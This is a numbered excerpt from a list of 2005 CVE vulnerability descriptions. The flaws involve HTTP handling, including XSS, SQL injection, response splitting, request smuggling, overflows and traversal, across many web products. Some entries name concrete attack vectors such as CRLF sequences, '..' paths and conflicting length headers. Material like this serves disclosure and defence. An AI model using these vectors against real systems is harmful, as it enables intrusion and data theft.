20350| [CVE-2005-4687] PunBB 1.2.9, used alone or with F-ART BLOG:CMS, may trust a client's IP address as specified in the X-Forwarded-For HTTP header rather than the TCP/IP stack, which allows remote attackers to misrepresent their IP address by sending a modified header.
20351| [CVE-2005-4579] Multiple HTTP response splitting vulnerabilities in Hitachi Business Logic - Container (BLC) P-2443-9114 01-00 through 02-06 on Windows, and P-1M43-9111 01-01 through 02-00 on AIX, allow remote attackers to inject arbitrary HTTP headers via unknown attack vectors in an unspecified input form.
20352| [CVE-2005-4559] mail/include.html in IceWarp Web Mail 5.5.1, as used by Merak Mail Server 8.3.0r and VisNetic Mail Server version 8.3.0 build 1, does not properly initialize the default_layout and layout_settings variables when an unrecognized HTTP_USER_AGENT string is provided, which allows remote attackers to access arbitrary files via a request with an unrecognized User Agent that also specifies the desired default_layout and layout_settings parameters.
20353| [CVE-2005-4521] CRLF injection vulnerability in Mantis 1.0.0rc3 and earlier allows remote attackers to modify HTTP headers and conduct HTTP response splitting attacks via (1) the return parameter in login_cookie_test.php and (2) ref parameter in login_select_proj_page.php.
20354| [CVE-2005-4503] httprint v202, and possibly other versions before v301, allows remote attackers to cause a denial of service (crash) via a long Server field in an HTTP response.
20355| [CVE-2005-4502] Cross-site scripting (XSS) vulnerability in httprint v202, and possibly other versions before v301, allows remote attackers to inject arbitrary web script or HTML via the Server field in an HTTP response, which is not sanitized before being displayed to the user.
20356| [CVE-2005-4296] AppServ Open Project 2.5.3 allows remote attackers to cause a denial of service via a large HTTP request.
20357| [CVE-2005-4270] Buffer overflow in Watchfire AppScan QA 5.0.609 and 5.0.134 allows remote web servers to execute arbitrary code via an HTTP 401 response with a WWW-Authenticate header containing a long Realm field.
20358| [CVE-2005-4147] The TCLHTTPd service in Lyris ListManager before 8.9b allows remote attackers to obtain source code for arbitrary .tml (TCL) files via (1) a request with a trailing null byte (%00), which might also require (2) an authentication bypass step that involves a username with a trailing "@" characters.
20359| [CVE-2005-4146] Lyris ListManager before 8.9b allows remote attackers to obtain sensitive information via a request to the TCLHTTPd status module, which provides sensitive server configuration information.
20360| [CVE-2005-4030] SQL injection vulnerability in Quicksilver Forums before 1.5.1 allows remote attackers to execute arbitrary SQL commands via the HTTP_USER_AGENT header.
20361| [CVE-2005-4012] Multiple cross-site scripting (XSS) vulnerabilities in PHP Web Statistik 1.4 allows remote attackers to inject arbitrary web script or HTML via (1) the lastnumber parameter to stat.php and (2) the HTTP referer to pixel.php.
20362| [CVE-2005-3992] Multiple buffer overflows in WinEggDropShell remote access trojan (RAT) 1.7 allow remote attackers to execute arbitrary code via (1) a long GET request to the HTTP server, or a long (2) USER or (3) PASS command to the FTP server.
20363| [CVE-2005-3982] CRLF injection vulnerability in layers_toggle.php in WebCalendar 1.0.1 might allow remote attackers to modify HTTP headers and conduct HTTP response splitting attacks via the ret parameter, which is used to redirect URL requests.
20364| [CVE-2005-3931] SQL injection vulnerability in default.asp in ASP-Rider 1.6 allows remote attackers to execute arbitrary SQL commands via the HTTP referer.
20365| [CVE-2005-3921] Cross-site scripting (XSS) vulnerability in Cisco IOS Web Server for IOS 12.0(2a) allows remote attackers to inject arbitrary web script or HTML by (1) packets containing HTML that an administrator views via an HTTP interface to the contents of memory buffers, as demonstrated by the URI /level/15/exec/-/buffers/assigned/dump
20366| [CVE-2005-3791] HTTP response splitting vulnerability in phpAdsNew and phpPgAds 2.0.6 and earlier allows remote attackers to inject arbitrary HTML headers via adclick.php and possibly other unspecified vectors.
20367| [CVE-2005-3751] HTTP request smuggling vulnerability in Pound before 1.9.4 allows remote attackers to poison web caches, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with conflicting Content-length and Transfer-encoding headers.
20368| [CVE-2005-3730] Multiple cross-site scripting (XSS) vulnerabilities in HTTPTranslatorServlet in Idetix Software Systems Revize CMS allow remote attackers to inject arbitrary web script or HTML via the (1) resourcetype, (2) objectmap, and (3) redirect parameters, possibly involving setWebSpace.jsp.
20369| [CVE-2005-3721] The default configuration of the HTTP server in Hitachi IP5000 VOIP WIFI Phone 1.5.6 does not require authentication for sensitive configuration pages, which allows remote attackers to modify configuration.
20370| [CVE-2005-3720] The default index page in the HTTP server in Hitachi IP5000 VOIP WIFI Phone 1.5.6 lists sensitive information such as software versions.
20371| [CVE-2005-3665] Multiple cross-site scripting (XSS) vulnerabilities in phpMyAdmin before 2.7.0 allow remote attackers to inject arbitrary web script or HTML via the (1) HTTP_HOST variable and (2) various scripts in the libraries directory that handle header generation.
20372| [CVE-2005-3655] Heap-based buffer overflow in Novell Open Enterprise Server Remote Manager (novell-nrm) in Novell SUSE Linux Enterprise Server 9 allows remote attackers to execute arbitrary code via an HTTP POST request with a negative Content-Length parameter.
20373| [CVE-2005-3653] Heap-based buffer overflow in the iGateway service for various Computer Associates (CA) iTechnology products, in iTechnology iGateway before 4.0.051230, allows remote attackers to execute arbitrary code via an HTTP request with a negative Content-Length field.
20374| [CVE-2005-3633] HTTP response splitting vulnerability in frameset.htm in SAP Web Application Server (WAS) 6.10 through 7.00 allows remote attackers to inject arbitrary HTML headers via the sap-exiturl parameter.
20375| [CVE-2005-3630] Fedora Directory Server before 10 allows remote attackers to obtain sensitive information, such as the password from adm.conf via an IFRAME element, probably involving an Apache httpd.conf configuration that orders "allow" directives before "deny" directives.
20376| [CVE-2005-3621] CRLF injection vulnerability in phpMyAdmin before 2.6.4-pl4 allows remote attackers to conduct HTTP response splitting attacks via unspecified scripts.
20377| [CVE-2005-3594] game_score.php in e107 allows remote attackers to insert high scores via HTTP POST methods utilizing the $player_name, $player_score, and $game_name variables.
20378| [CVE-2005-3557] Directory traversal vulnerability in admin/defaults.php in PHPlist 2.10.1 and earlier allows remote attackers to access arbitrary files via a .. (dot dot) in the selected%5B%5D parameter in an HTTP POST request.
20379| [CVE-2005-3475] Hasbani Web Server (WindWeb) 2.0 allows remote attackers to cause a denial of service (infinite loop) via HTTP crafted GET requests.
20380| [CVE-2005-3450] Unspecified vulnerability in the HTTP Server in Oracle Application Server 1.0 up to 9.0.2.3 has unknown impact and attack vectors, as identified by Oracle Vuln# AS04.
20381| [CVE-2005-3445] Multiple unspecified vulnerabilities in HTTP Server in Oracle Database Server 8i up to 10.1.0.4.2 and Application Server 1.0.2.2 up to 10.1.2.0 have unknown impact and attack vectors, aka Oracle Vuln# (1) DB30 and AS03 or (2) DB31 and AS05.
20382| [CVE-2005-3417] phpBB 2.0.17 and earlier, when the register_long_arrays directive is disabled, allows remote attackers to modify global variables and bypass security mechanisms because PHP does not define the associated HTTP_* variables.
20383| [CVE-2005-3416] phpBB 2.0.17 and earlier, when register_globals is enabled and the session_start function has not been called to handle a session, allows remote attackers to bypass security checks by setting the $_SESSION and $HTTP_SESSION_VARS variables to strings instead of arrays, which causes an array_merge function call to fail.
20384| [CVE-2005-3398] The default configuration of the web server for the Solaris Management Console (SMC) in Solaris 8, 9, and 10 enables the HTTP TRACE method, which could allow remote attackers to obtain sensitive information such as cookies and authentication data from HTTP headers.
20385| [CVE-2005-3352] Cross-site scripting (XSS) vulnerability in the mod_imap module of Apache httpd before 1.3.35-dev and Apache httpd 2.0.x before 2.0.56-dev allows remote attackers to inject arbitrary web script or HTML via the Referer when using image maps.
20386| [CVE-2005-3348] HTTP response splitting vulnerability in index.php in phpSysInfo 2.4 and earlier, as used in phpgroupware 0.9.16 and earlier, and egroupware before 1.0.0.009, allows remote attackers to spoof web content and poison web caches via CRLF sequences in the charset parameter.
20387| [CVE-2005-3347] Multiple directory traversal vulnerabilities in index.php in phpSysInfo 2.4 and earlier, as used in phpgroupware 0.9.16 and earlier, and egrouwpware before 1.0.0.009, allow remote attackers to include arbitrary files via .. (dot dot) sequences in the (1) sensor_program parameter or the (2) _SERVER[HTTP_ACCEPT_LANGUAGE] parameter, which overwrites an internal variable, a variant of CVE-2003-0536. NOTE: due to a typo in an advisory, an issue in osh was inadvertently linked to this identifier
20388| [CVE-2005-3330] The _httpsrequest function in Snoopy 1.2, as used in products such as (1) MagpieRSS, (2) WordPress, (3) Ampache, and (4) Jinzora, allows remote attackers to execute arbitrary commands via shell metacharacters in an HTTPS URL to an SSL protected web page, which is not properly handled by the fetch function.
20389| [CVE-2005-3322] Unspecified vulnerability in Squid on SUSE Linux 9.0 allows remote attackers to cause a denial of service (crash) via HTTPs (SSL).
20390| [CVE-2005-3269] Stack-based buffer overflow in help.cgi in the HTTP administrative interface for (1) Sun Java System Directory Server 5.2 2003Q4, 2004Q2, and 2005Q1, (2) Red Hat Directory Server and (3) Certificate Server before 7.1 SP1, (4) Sun ONE Directory Server 5.1 SP4 and earlier, and (5) Sun ONE Administration Server 5.2 allows remote attackers to cause a denial of service (admin server crash), or local users to gain root privileges.
20391| [CVE-2005-3206] iSQL*Plus (isqlplus) for Oracle9i Database Server Release 2 9.0.2.4 allows remote attackers to cause a denial of service (TNS listener stop) via an HTTP request with an sid parameter that contains a STOP command.
20392| [CVE-2005-3204] Cross-site scripting (XSS) vulnerability in Oracle XML DB 9iR2 allows remote attackers to inject arbitrary web script or HTML via the query string in an HTTP request.
20393| [CVE-2005-3190] Buffer overflow in Computer Associates (CA) iGateway 3.0 and 4.0 before 4.0.050623, when running in debug mode, allows remote attackers to execute arbitrary code via HTTP GET requests.
20394| [CVE-2005-3187] The listening daemon in Blue Coat Systems Inc. WinProxy before 6.1a allows remote attackers to cause a denial of service (crash) via a long HTTP request that causes an out-of-bounds read.
20395| [CVE-2005-3185] Stack-based buffer overflow in the ntlm_output function in http-ntlm.c for (1) wget 1.10, (2) curl 7.13.2, and (3) libcurl 7.13.2, and other products that use libcurl, when NTLM authentication is enabled, allows remote servers to execute arbitrary code via a long NTLM username.
20396| [CVE-2005-3182] Buffer overflow in the HTTP management interface for GFI MailSecurity 8.1 allows remote attackers to execute arbitrary code via long headers such as (1) Host and (2) Accept in HTTP requests. NOTE: the vendor suggests that this issues is "in an underlying Microsoft technology" which, if true, could mean that the overflow affects other products as well.
20397| [CVE-2005-3145] httpAdapter.c in sblim-sfcb before 0.9.2 allows remote attackers to cause a denial of service (resource consumption) by connecting to sblim-sfcb but not sending any data.
20398| [CVE-2005-3144] httpAdapter.c in sblim-sfcb before 0.9.2 allows remote attackers to cause a denial of service via long HTTP headers.
20399| [CVE-2005-3124] syslogtocern in Acme thttpd before 2.23 allows local users to write arbitrary files via a symlink attack on a temporary file.
20400| [CVE-2005-3059] Multiple unspecified vulnerabilities in Opera 8.50 on Linux and Windows have unknown impact and attack vectors, related to (1) " handling of must-revalidate cache directive for HTTPS pages" or (2) a "display issue with cookie comment encoding."
20401| [CVE-2005-3058] Interpretation conflict in Fortinet FortiGate 2.8, running FortiOS 2.8MR10 and v3beta, allows remote attackers to bypass the URL blocker via an (1) HTTP request terminated with a line feed (LF) and not carriage return line feed (CRLF) or (2) HTTP request with no Host field, which is still processed by most web servers without violating RFC2616.
20402| [CVE-2005-3033] Stack-based buffer overflow in vxWeb 1.1.4 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.
20403| [CVE-2005-3010] Direct static code injection vulnerability in the flood protection feature in inc/shows.inc.php in CuteNews 1.4.0 and earlier allows remote attackers to execute arbitrary PHP code via the HTTP_CLIENT_IP header (Client-Ip), which is injected into data/flood.db.php.
20404| [CVE-2005-2982] Cross-site scripting (XSS) vulnerability in CompaqHTTPServer 2.1 allows remote attackers to inject arbitrary web script or HTML via the URL, which is not properly quoted in the resulting 404 error page.
20405| [CVE-2005-2950] Cross-site scripting (XSS) vulnerability in Sawmill 7.0.0 through 7.1.13 allows remote attackers to inject arbitrary web script or HTML via the query string in an HTTP GET request.
20406| [CVE-2005-2922] Heap-based buffer overflow in the embedded player in multiple RealNetworks products and versions including RealPlayer 10.x, RealOne Player, and Helix Player allows remote malicious servers to cause a denial of service (crash) and possibly execute arbitrary code via a chunked Transfer-Encoding HTTP response in which either (1) the chunk header length is specified as -1, (2) the chunk header with a length that is less than the actual amount of sent data, or (3) a missing chunk header.
20407| [CVE-2005-2916] Linksys WRT54G 3.01.03, 3.03.6, 4.00.7, and possibly other versions before 4.20.7, does not verify user authentication until after an HTTP POST request has been processed, which allows remote attackers to (1) modify configuration using restore.cgi or (2) upload new firmware using upgrade.cgi.
20408| [CVE-2005-2912] Linksys WRT54G router allows remote attackers to cause a denial of service (CPU consumption and server hang) via an HTTP POST request with a negative Content-Length value.
20409| [CVE-2005-2888] Multiple SQL injection vulnerabilities in MyBulletinBoard (MyBB) Preview Release 2 allow remote attackers to execute arbitrary SQL commands via the (1) fid parameter to misc.php or (2) Content-Disposition field in the HTTP header to newreply.php.
20410| [CVE-2005-2874] The is_path_absolute function in scheduler/client.c for the daemon in CUPS before 1.1.23 allows remote attackers to cause a denial of service (CPU consumption by tight loop) via a "..\.." URL in an HTTP request.
20411| [CVE-2005-2861] Cross-site scripting (XSS) vulnerability in N-Stealth Commercial Edition before 5.8.0.38 and Free Edition before 5.8.1.03 allows remote attackers to inject arbitrary web script or HTML via the Server field in an HTTP response header, which is directly injected into an HTML report.
20412| [CVE-2005-2860] Cross-site scripting (XSS) vulnerability in Nikto 1.35 and earlier allows remote attackers to inject arbitrary web script or HTML via the Server field in an HTTP response header, which is directly injected into an HTML report.
20413| [CVE-2005-2853] Multiple cross-site scripting (XSS) vulnerabilities in GuppY 4.5.3a and earlier allow remote attackers to inject arbitrary web script or HTML via (1) the pg parameter to printfaq.php, or the (2) Referer or (3) User-Agent HTTP headers, which are not properly handled by error.php.
20414| [CVE-2005-2830] Microsoft Internet Explorer 5.01, 5.5, and 6, when using an HTTPS proxy server that requires Basic Authentication, sends URLs in cleartext, which allows remote attackers to obtain sensitive information, aka "HTTPS Proxy Vulnerability."
20415| [CVE-2005-2806] client.cpp in BNBT EasyTracker 7.7r3.2004.10.27 and earlier allows remote attackers cause a denial of service (application hang) via an HTTP header containing only a ":" (colon), possibly leading to an integer signedness error due to a missing field name or value.
20416| [CVE-2005-2799] Buffer overflow in apply.cgi in Linksys WRT54G 3.01.03, 3.03.6, and possibly other versions before 4.20.7, allows remote attackers to execute arbitrary code via a long HTTP POST request.
20417| [CVE-2005-2782] PHP remote file inclusion vulnerability in al_initialize.php for AutoLinks Pro 2.1 allows remote attackers to execute arbitrary PHP code via an "ftp://" URL in the alpath parameter, which bypasses the incomplete blacklist that only checks for "http" and "https" URLs.
20418| [CVE-2005-2758] Integer signedness error in the administrative interface for Symantec AntiVirus Scan Engine 4.0 and 4.3 allows remote attackers to execute arbitrary code via crafted HTTP headers with negative values, which lead to a heap-based buffer overflow.
20419| [CVE-2005-2730] The HTTP proxy in Astaro Security Linux 6.0 allows remote attackers to obtain sensitive information via an invalid request, which reveals a Proxy-authorization string in an error message.
20420| [CVE-2005-2729] The HTTP proxy in Astaro Security Linux 6.0 does not properly filter HTTP CONNECT requests to localhost, which allows remote attackers to bypass firewall rules and connect to local services.
20421| [CVE-2005-2728] The byte-range filter in Apache 2.0 before 2.0.54 allows remote attackers to cause a denial of service (memory consumption) via an HTTP header with a large Range field.
20422| [CVE-2005-2721] Multiple cross-site scripting (XSS) vulnerabilities in (1) index.php or (2) admin.php in Foojan PHP Weblog allow remote attackers to inject arbitrary web script or HTML via the Referer field in the HTTP header.
20423| [CVE-2005-2703] Firefox before 1.0.7 and Mozilla Suite before 1.7.12 allows remote attackers to modify HTTP headers of XML HTTP requests via XMLHttpRequest, and possibly use the client to exploit vulnerabilities in servers or proxies, including HTTP request smuggling and HTTP request splitting.
20424| [CVE-2005-2696] IBM Lotus Notes does not properly restrict access to password hashes in the Notes Address Book (NAB), which allows remote attackers to obtain sensitive information via the (1) password digest field in the Administration tab of a Lotus Notes client, (2) "PasswordDigest" and "HTTPPassword" fields in the document properties in the NAB, or (3) a direct query to the Domino LDAP server, a different vulnerability than CVE-2005-2428.
20425| [CVE-2005-2691] includes/common.php in RunCMS 1.2 and earlier calls the extract function with EXTR_OVERWRITE on HTTP POST variables, which allows remote attackers to overwrite arbitrary variables, possibly allowing execution of arbitrary code.
20426| [CVE-2005-2688] Multiple cross-site scripting (XSS) vulnerabilities in SaveWebPortal 3.4 allow remote attackers to inject arbitrary web script or HTML via a large number of parameters to (1) footer.php, (2) header.php, (3) menu_dx.php, or (4) menu_sx.php, or Javascript code in the (5) HTTP_REFERER (referer) or (6) HTTP_USER_AGENT (user agent) fields.
20427| [CVE-2005-2678] Microsoft IIS 5.1 and 6 allows remote attackers to spoof the SERVER_NAME variable to bypass security checks and conduct various attacks via a GET request with an http://localhost URI, which makes it appear as if the request is coming from localhost.
20428| [CVE-2005-2654] phpldapadmin before 0.9.6c allows remote attackers to gain anonymous access to the LDAP server, even when disable_anon_bind is set, via an HTTP request to login.php with the anonymous_bind parameter set.
20429| [CVE-2005-2646] Unknown vulnerability in Xerox MicroServer Web Server in Document Centre 220 through 265, 332 and 340, 420 through 490, and 535 through 555 allows remote attackers to cause a denial of service or read files via unknown vectors involving crafted HTTP requests.
20430| [CVE-2005-2618] Multiple stack-based buffer overflows in Autonomy (formerly Verity) KeyView SDK before 9.2.0, as used in Lotus Notes 6.5.4 and 7.0, allow remote attackers to execute arbitrary code via (1) a UUE file containing an encoded file with a long filename handled by uudrdr.dll, (2) a compressed ZIP file with a long filename handled by kvarcve.dll, (3) a TAR archive with a long filename that is extracted to a directory with a long path handled by the TAR reader (tarrdr.dll), (4) an email that contains a long HTTP, FTP, or // link handled by the HTML speed reader (htmsr.dll) or (5) an email containing a crafted long link handled by the HTML speed reader (htmsr.dll).
20431| [CVE-2005-2455] Greasemonkey before 0.3.5 allows remote web servers to (1) read arbitrary files via a GET request to a file:// URL in the GM_xmlhttpRequest API function, (2) list installed scripts using GM_scripts, or obtain sensitive information via (3) GM_setValue and GM_getValue.
20432| [CVE-2005-2428] Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
20433| [CVE-2005-2420] flsearch.pl in FtpLocate 2.02 allows remote attackers to execute arbitrary commands via shell metacharacters in an HTTP GET request.
20434| [CVE-2005-2383] SQL injection vulnerability in auth.php in PHPNews 1.2.5 allows remote attackers to execute arbitrary SQL commands via the user parameter in an HTTP POST request.
20435| [CVE-2005-2361] Unknown vulnerability in the (1) AgentX dissector, (2) PER dissector, (3) DOCSIS dissector, (4) SCTP graphs, (5) HTTP dissector, (6) DCERPC, (7) DHCP, (8) RADIUS dissector, (9) Telnet dissector, (10) IS-IS LSP dissector, or (11) NCP dissector in Ethereal 0.8.19 through 0.10.11 allows remote attackers to cause a denial of service (application crash or abort) via unknown attack vectors.
20436| [CVE-2005-2358] EMC Navisphere Manager 6.4.1.0.0 allows remote attackers to list arbitrary directories via an HTTP request for a directory that ends in a "." (trailing dot).
20437| [CVE-2005-2222] Unknown vulnerability in the HTTPMail service in MailEnable Professional before 1.6 has unknown impact and attack vectors.
20438| [CVE-2005-2201] Unknown vulnerability in the MicroServer Web Server for Xerox WorkCentre Pro Color 2128, 2636, and 3545, version 0.001.04.044 through 0.001.04.504, allow attackers to cause a denial of service or access files via crafted HTTP requests.
20439| [CVE-2005-2149] config.php in Cacti 0.8.6e and earlier allows remote attackers to set the no_http_headers switch, then modify session information to gain privileges and disable the use of addslashes to conduct SQL injection attacks.
20440| [CVE-2005-2108] SQL injection vulnerability in XMLRPC server in WordPress 1.5.1.2 and earlier allows remote attackers to execute arbitrary SQL commands via input that is not filtered in the HTTP_RAW_POST_DATA variable, which stores the data in an XML file.
20441| [CVE-2005-2094] Sun SunONE web server 6.1 SP1 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes SunONE to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
20442| [CVE-2005-2093] Oracle 9i Application Server (Oracle9iAS) 9.0.2 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes Application Server to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
20443| [CVE-2005-2092] BEA Systems WebLogic 8.1 SP1 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes WebLogic to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
20444| [CVE-2005-2091] IBM WebSphere 5.1 and WebSphere 5.0 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes WebSphere to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
20445| [CVE-2005-2090] Jakarta Tomcat 5.0.19 (Coyote/1.1) and Tomcat 4.1.24 (Coyote/1.0) allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes Tomcat to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
20446| [CVE-2005-2089] Microsoft IIS 5.0 and 6.0 allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes IIS to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
20447| [CVE-2005-2088] The Apache HTTP server before 1.3.34, and 2.0.x before 2.0.55, when acting as an HTTP proxy, allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes Apache to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
20448| [CVE-2005-2065] HTTP response splitting vulnerability in language_select.asp in ASP Nuke 0.80 allows remote attackers to spoof web content and poison web caches via CRLF ("%0d%0a") sequences in the LangCode parameter.
20449| [CVE-2005-2060] Multiple HTTP Response Splitting vulnerabilities in (1) toggleshow.php, (2) togglecats.php, and (3) showprofile.php in Infopop UBB.Threads before 6.5.2 Beta allow remote attackers to spoof web content and poison web caches via CRLF ("%0d%0a") sequences in the Cat parameter.
20450| [CVE-2005-2041] Buffer overflow in addschup in HAURI ViRobot 2.0, and possibly other products, allows remote attackers to execute arbitrary code via a long ViRobot_ID cookie (HTTP_COOKIE).
20451| [CVE-2005-2028] SQL injection vulnerability in index.php for MercuryBoard 1.1.4 and earlier allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header.
20452| [CVE-2005-1953] Heap-based buffer overflow in the CGI extension for Pico Server (pServ) 3.3 allows remote attackers to execute arbitrary code via a long HTTP request.
20453| [CVE-2005-1951] Multiple HTTP Response Splitting vulnerabilities in osCommerce 2.2 Milestone 2 and earlier allow remote attackers to spoof web content and poison web caches via hex-encoded CRLF ("%0d%0a") sequences in the (1) products_id or (2) pid parameter to index.php or (3) goto parameter to banner.php.
20454| [CVE-2005-1935] Heap-based buffer overflow in the BERDecBitString function in Microsoft ASN.1 library (MSASN1.DLL) allows remote attackers to execute arbitrary code via nested constructed bit strings, which leads to a realloc of a non-null pointer and causes the function to overwrite previously freed memory, as demonstrated using a SPNEGO token with a constructed bit string during HTTP authentication, and a different vulnerability than CVE-2003-0818. NOTE: the researcher has claimed that MS:MS04-007 fixes this issue.
20455| [CVE-2005-1909] The web server control panel in 602LAN SUITE 2004 allows remote attackers to make it more difficult for the administrator to read portions of log files via a "</pre><!-" sequence in an HTTP GET request in the logon, possibly due to a cross-site scripting (XSS) vulnerability.
20456| [CVE-2005-1894] Direct code injection vulnerability in FlatNuke 2.5.3 allows remote attackers to execute arbitrary PHP code by placing the code into the Referer header of an HTTP request, which causes the code to be injected into referer.php, which can then be accessed by the attacker.
20457| [CVE-2005-1857] Format string vulnerability in simpleproxy before 3.4 allows remote malicious HTTP proxies to execute arbitrary code via format string specifiers in a reply.
20458| [CVE-2005-1836] NEXTWEB (i)Site allows remote attackers to cause a denial of service (error 500) via a crafted HTTP request, possibly involving wildcard requests for .jsp files.
20459| [CVE-2005-1798] Directory traversal vulnerability in ServersCheck Monitoring Software 5.9.0 to 5.10.0 allows remote attackers to read arbitrary files via .. (dot dot) sequences in an HTTP request.
20460| [CVE-2005-1708] templates.admin.users.user_form_processing in Blue Coat Reporter before 7.1.2 allows authenticated users to gain administrator privileges via an HTTP POST that sets volatile.user.administrator to true.
20461| [CVE-2005-1691] Directory traversal vulnerability in Internet Graphics Server in SAP before 6.40 Patch 11 allows remote attackers to read arbitrary files via ".." sequences in an HTTP GET request.
20462| [CVE-2005-1667] DataTrac Activity Console 1.1 allows remote attackers to cause a denial of service via a long HTTP GET request.
20463| [CVE-2005-1666] Multiple buffer overflows in Orenosv HTTP/FTP Server 0.8.1 allow remote authenticated users to cause a denial of service (server crash) and possibly execute arbitrary code via long arguments to FTP commands such as MKD, RMD, or DELE, which are processed by the (1) ftp_xlate_path, (2) ftp_is_canonical, or (3) os_fn_nativize functions, or (4) a long SSI command that is processed by the parse_cmd function in cgissi.exe.
20464| [CVE-2005-1576] The file download dialog in Mozilla Firefox 0.10.1 and 1.0 for Windows uses the Content-Type HTTP header to determine the file type, but saves the original file extension when "Save to Disk" is selected, which allows remote attackers to hide the real file types of downloaded files.
20465| [CVE-2005-1575] The file download dialog in Mozilla Firefox 0.10.1 and 1.0 for Windows allows remote attackers to hide the real file types of downloaded files via the Content-Type HTTP header and a filename containing whitespace, dots, or ASCII byte 160.
20466| [CVE-2005-1527] Eval injection vulnerability in awstats.pl in AWStats 6.4 and earlier, when a URLPlugin is enabled, allows remote attackers to execute arbitrary Perl code via the HTTP Referrer, which is used in a $url parameter that is inserted into an eval function call.
20467| [CVE-2005-1517] Unknown vulnerability in Cisco Firewall Services Module (FWSM) 2.3.1 and earlier, when using URL, FTP, or HTTPS filtering exceptions, allows certain TCP packets to bypass access control lists (ACLs).
20468| [CVE-2005-1475] The XMLHttpRequest object in Opera 8.0 Final Build 1095 allows remote attackers to bypass access restrictions and perform unauthorized actions on other domains via a redirect.
20469| [CVE-2005-1421] Directory traversal vulnerability in Raysoft/Raybase Video Cam Server 1.0.0 beta allows remote attackers to read arbitrary files via ".." (dot dot) sequences in an HTTP request.
20470| [CVE-2005-1405] HTTP response splitting vulnerability in the @SetHTTPHeader function in Lotus Domino 6.5.x before 6.5.4 and 6.0.x before 6.0.5 allows attackers to poison the web cache via malicious applications.
20471| [CVE-2005-1391] Buffer overflow in the add_port function in APSIS Pound 1.8.2 and earlier allows remote attackers to execute arbitrary code via a long Host HTTP header.
20472| [CVE-2005-1385] Safari 1.3 allows remote attackers to cause a denial of service (application crash) via a long https URL that triggers a NULL pointer dereference.
20473| [CVE-2005-1383] The OHS component 1.0.2 through 10.x, when UseWebcacheIP is disabled, in Oracle Application Server allows remote attackers to bypass HTTP Server mod_access restrictions via a request to the webcache TCP port 7778.
20474| [CVE-2005-1348] Buffer overflow in HTTPMail in MailEnable Enterprise 1.04 and earlier and Professional 1.54 and earlier allows remote attackers to execute arbitrary code via a long HTTP Authorization header.
20475| [CVE-2005-1345] Squid 2.5.STABLE9 and earlier does not trigger a fatal error when it identifies missing or invalid ACLs in the http_access configuration, which could lead to less restrictive ACLs than intended by the administrator.
20476| [CVE-2005-1340] The HTTP proxy service in Server Admin for Mac OS X 10.3.9 does not restrict access when it is enabled, which allows remote attackers to use the proxy.
20477| [CVE-2005-1284] The addnew script in Argosoft Mail Server Pro 1.8.7.6 allows remote attackers to create arbitrary accounts, even if "Allow Creation of Accounts From the Web Interface" is disabled, via a direct HTTP POST request.
20478| [CVE-2005-1274] Stack-based buffer overflow in the getIfHeader function in the WebDAV functionality in MySQL MaxDB before 7.5.00.26 allows remote attackers to execute arbitrary code via an HTTP unlock request and a long "If" parameter.
20479| [CVE-2005-1215] Microsoft ISA Server 2000 allows remote attackers to poison the ISA cache or bypass content restriction policies via a malformed HTTP request packet containing multiple Content-Length headers.
20480| [CVE-2005-1180] HTTP Response Splitting vulnerability in the Surveys module in PHP-Nuke 7.6 allows remote attackers to spoof web content and poison web caches via hex-encoded CRLF ("%0d%0a") sequences in the forwarder parameter.
20481| [CVE-2005-1128] Multiple SQL injection vulnerabilities in VHCS 2.4 and earlier allow remote attackers to execute arbitrary SQL commands via certain inputs from HTTP POST queries.
20482| [CVE-2005-1122] Format string vulnerability in cgi.c for Monkey daemon (monkeyd) before 0.9.1 allows remote attackers to cause a denial of service and possibly execute arbitrary code via an HTTP GET request containing double-encoded format string specifiers (aka "double expansion error").
20483| [CVE-2005-1112] IBM WebSphere Application Server 6.0 and earlier, when sharing the document root of the web server, allows remote attackers to obtain the source code for Java Server Pages (.jsp) via an HTTP request with an invalid Host header, which causes the page to be processed by the web server instead of the JSP engine.
20484| [CVE-2005-1110] Stack-based buffer overflow in the RespondeHTTPPendiente function in the HTTP server for SUMUS 0.2.2 allows remote attackers to execute arbitrary code via a large packet sent to TCP port 81.
20485| [CVE-2005-1108] The ij_untrusted_url function in JunkBuster 2.0.2-r2, with single-threaded mode enabled, allows remote attackers to overwrite the referrer field via a crafted HTTP request.
